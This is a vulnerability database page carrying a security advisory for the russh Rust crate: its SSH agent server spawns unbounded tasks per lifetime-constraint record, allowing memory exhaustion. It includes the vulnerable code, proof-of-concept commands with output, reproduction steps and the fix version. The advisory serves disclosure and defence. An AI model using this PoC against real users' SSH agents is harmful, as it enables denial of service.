GHSA-4WC5-F2RC-Q74M
Vulnerability from github – Published: 2026-10-19 17:06 – Updated: 2026-10-19 17:06Summary
russh_keys::agent::server::add_key (russh/src/keys/agent/server.rs:271-319) spawns a dedicated tokio task for every 5-byte SSH_AGENT_CONSTRAIN_LIFETIME record attached to an added key, each cloning the key blob and sleeping for the declared lifetime (up to ~136 years). The loop has no per-request task budget, and spawned tasks are not rolled back when the overall request fails. Repeating one constrained add-key message over an agent connection converts wire bytes into resident tasks and heap at roughly 141x amplification: in our measurement 10.2 MiB of protocol traffic produced ~2,096,120 live tasks and +1,447,856 KiB RSS, while the same traffic sent as unconstrained add-key requests cost +268 KiB. An attacker reaching the agent socket (a local process, or a remote SSH server the user connects to with agent forwarding, since russh clients accept the auth-agent@openssh.com channel by default at russh/src/client/mod.rs:2686) can exhaust the agent process's memory and task capacity with a renewable, cheap request stream. Verified on russh HEAD efa9a03 (v0.63.3-10, 2026-10-01).
Details
// russh/src/keys/agent/server.rs:271-319 (add_key, constraint loop)
while let Ok(t) = u8::decode(r) {
match t {
SSH_AGENT_CONSTRAIN_LIFETIME => {
let lifetime = u32::decode(r)?;
...
tokio::spawn({
let key = key.clone;
async move { tokio::time::sleep(...lifetime...).await; /* remove key */ }
});
}
...
Each lifetime record clones the key blob into a new task regardless of how many records the same request already spawned, and a failure later in the request leaves earlier tasks alive. Data flow: agent connection -> SSH_AGENTC_ADD_IDENTITY_CONSTRAINED -> constraint decode loop -> unbounded tokio::spawn per 5 bytes. The control measurement (identical wire volume as unconstrained adds) isolates the constraint path as the amplifier.
Proof of concept
Prerequisites: Linux host with cargo and git. The archive's deploy script provisions russh at the pinned revision and the PoC crate (rewriting the path dependency); the PoC runs a real russh agent server on loopback and speaks the agent protocol to it.
$ POC_HOME=$HOME/russh-poc RUSSH_REPO=/home/ubuntu/HuntTargets/russh ./deployment/deploy.sh
russh at efa9a03 -> /home/ubuntu/russh-poc/poc
$ POC_HOME=$HOME/russh-poc ./poc/poc.sh 40
[*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)
[*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)
[*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)
[*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.
[*] fds = 19
The broker acks every request (code 6 = SUCCESS) while RSS grows to +1.45 GB from ~10 MiB of input. The harness's control mode (same wire volume, unconstrained adds) measured +268 KiB. The automated archive run reproduces exactly this trace.
Manual reproduction, step by step (no archive required)
- Provision russh at the pinned revision and build the PoC crate (it hosts a real russh agent server in-process):
git clone https://github.com/Eugeny/russh && cd russh && git checkout efa9a03e541b69505d5e6ec0d9213d011c9f6310
cargo build --release # in the PoC crate directory; the path dependency points at the clone
- Run the PoC: it starts the agent on loopback, then sends repeated
SSH_AGENTC_ADD_IDENTITY_CONSTRAINEDmessages whose constraint sections contain ~52,000 five-byteSSH_AGENT_CONSTRAIN_LIFETIMErecords each:
./target/release/poc-agent-addkey 40
# [*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)
# [*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)
# [*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)
# [*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.
-
Control: the same wire volume sent as UNCONSTRAINED add-key requests measures +268 KiB (
MODE=control), isolating the constraint-record task spawn as the amplifier. -
Reachability: any local process with access to the agent socket, or a remote SSH server the user connects to with agent forwarding (russh clients accept
auth-agent@openssh.comchannels by default,russh/src/client/mod.rs:2686), can drive this. Each spawned task clones the key blob and sleeps for the declared lifetime (up to ~136 years); tasks are never rolled back when a request fails.
Impact
An attacker able to speak the agent protocol to a russh-based agent (local process on the socket, or a remote SSH server the user connects to with agent forwarding enabled) can drive gigabyte-scale memory growth and millions of leaked tasks per session with megabytes of traffic, renewable until the agent process is starved or OOM-killed, taking the user's SSH key agent down. The trust boundary is the agent protocol peer versus the agent process's resources. No confidentiality or integrity impact.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.64.0"
},
"package": {
"ecosystem": "crates.io",
"name": "russh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.64.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-111061"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-19T17:06:46Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\n`russh_keys::agent::server::add_key` (`russh/src/keys/agent/server.rs:271-319`) spawns a dedicated tokio task for every 5-byte `SSH_AGENT_CONSTRAIN_LIFETIME` record attached to an added key, each cloning the key blob and sleeping for the declared lifetime (up to ~136 years). The loop has no per-request task budget, and spawned tasks are not rolled back when the overall request fails. Repeating one constrained add-key message over an agent connection converts wire bytes into resident tasks and heap at roughly 141x amplification: in our measurement 10.2 MiB of protocol traffic produced ~2,096,120 live tasks and +1,447,856 KiB RSS, while the same traffic sent as unconstrained add-key requests cost +268 KiB. An attacker reaching the agent socket (a local process, or a remote SSH server the user connects to with agent forwarding, since russh clients accept the `auth-agent@openssh.com` channel by default at `russh/src/client/mod.rs:2686`) can exhaust the agent process\u0027s memory and task capacity with a renewable, cheap request stream. Verified on russh HEAD efa9a03 (v0.63.3-10, 2026-10-01).\n\n\n### Details\n\n```rust\n// russh/src/keys/agent/server.rs:271-319 (add_key, constraint loop)\nwhile let Ok(t) = u8::decode(r) {\n match t {\n SSH_AGENT_CONSTRAIN_LIFETIME =\u003e {\n let lifetime = u32::decode(r)?;\n ...\n tokio::spawn({\n let key = key.clone;\n async move { tokio::time::sleep(...lifetime...).await; /* remove key */ }\n });\n }\n ...\n```\n\nEach lifetime record clones the key blob into a new task regardless of how many records the same request already spawned, and a failure later in the request leaves earlier tasks alive. Data flow: agent connection -\u003e SSH_AGENTC_ADD_IDENTITY_CONSTRAINED -\u003e constraint decode loop -\u003e unbounded `tokio::spawn` per 5 bytes. The control measurement (identical wire volume as unconstrained adds) isolates the constraint path as the amplifier.\n\n### Proof of concept\n\nPrerequisites: Linux host with cargo and git. The archive\u0027s deploy script provisions russh at the pinned revision and the PoC crate (rewriting the path dependency); the PoC runs a real russh agent server on loopback and speaks the agent protocol to it.\n\n```bash\n$ POC_HOME=$HOME/russh-poc RUSSH_REPO=/home/ubuntu/HuntTargets/russh ./deployment/deploy.sh\nrussh at efa9a03 -\u003e /home/ubuntu/russh-poc/poc\n\n$ POC_HOME=$HOME/russh-poc ./poc/poc.sh 40\n[*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)\n[*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)\n[*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)\n[*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.\n[*] fds = 19\n```\n\nThe broker acks every request (code 6 = SUCCESS) while RSS grows to +1.45 GB from ~10 MiB of input. The harness\u0027s control mode (same wire volume, unconstrained adds) measured +268 KiB. The automated archive run reproduces exactly this trace.\n\n#### Manual reproduction, step by step (no archive required)\n\n1. Provision russh at the pinned revision and build the PoC crate (it hosts a real russh agent server in-process):\n\n```bash\ngit clone https://github.com/Eugeny/russh \u0026\u0026 cd russh \u0026\u0026 git checkout efa9a03e541b69505d5e6ec0d9213d011c9f6310\ncargo build --release # in the PoC crate directory; the path dependency points at the clone\n```\n\n2. Run the PoC: it starts the agent on loopback, then sends repeated `SSH_AGENTC_ADD_IDENTITY_CONSTRAINED` messages whose constraint sections contain ~52,000 five-byte `SSH_AGENT_CONSTRAIN_LIFETIME` records each:\n\n```bash\n./target/release/poc-agent-addkey 40\n# [*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)\n# [*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)\n# [*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)\n# [*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.\n```\n\n3. Control: the same wire volume sent as UNCONSTRAINED add-key requests measures +268 KiB (`MODE=control`), isolating the constraint-record task spawn as the amplifier.\n\n4. Reachability: any local process with access to the agent socket, or a remote SSH server the user connects to with agent forwarding (russh clients accept `auth-agent@openssh.com` channels by default, `russh/src/client/mod.rs:2686`), can drive this. Each spawned task clones the key blob and sleeps for the declared lifetime (up to ~136 years); tasks are never rolled back when a request fails.\n\n### Impact\n\nAn attacker able to speak the agent protocol to a russh-based agent (local process on the socket, or a remote SSH server the user connects to with agent forwarding enabled) can drive gigabyte-scale memory growth and millions of leaked tasks per session with megabytes of traffic, renewable until the agent process is starved or OOM-killed, taking the user\u0027s SSH key agent down. The trust boundary is the agent protocol peer versus the agent process\u0027s resources. No confidentiality or integrity impact.",
"id": "GHSA-4wc5-f2rc-q74m",
"modified": "2026-10-19T17:06:46Z",
"published": "2026-10-19T17:06:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/security/advisories/GHSA-4wc5-f2rc-q74m"
},
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/commit/4c305033d72f8e5dd21a3fd4c53a6c291a16ebd1"
},
{
"type": "PACKAGE",
"url": "https://github.com/Eugeny/russh"
},
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/releases/tag/v0.64.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "russh: Unbounded memory allocation in agent protocol server via crafted constraint records"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.